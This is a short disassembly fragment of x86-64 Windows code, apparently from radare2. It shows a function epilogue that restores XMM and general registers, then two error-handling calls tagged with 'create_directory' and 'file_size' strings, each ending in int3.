movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x1000]
mov edx, dword [rbp + 0x94]
lea rcx, str.create_directory
call fcn.140059920
int3
lea r8, [rbp + 0x14920]
mov edx, eax
lea rcx, str.file_size
call fcn.140059920
int3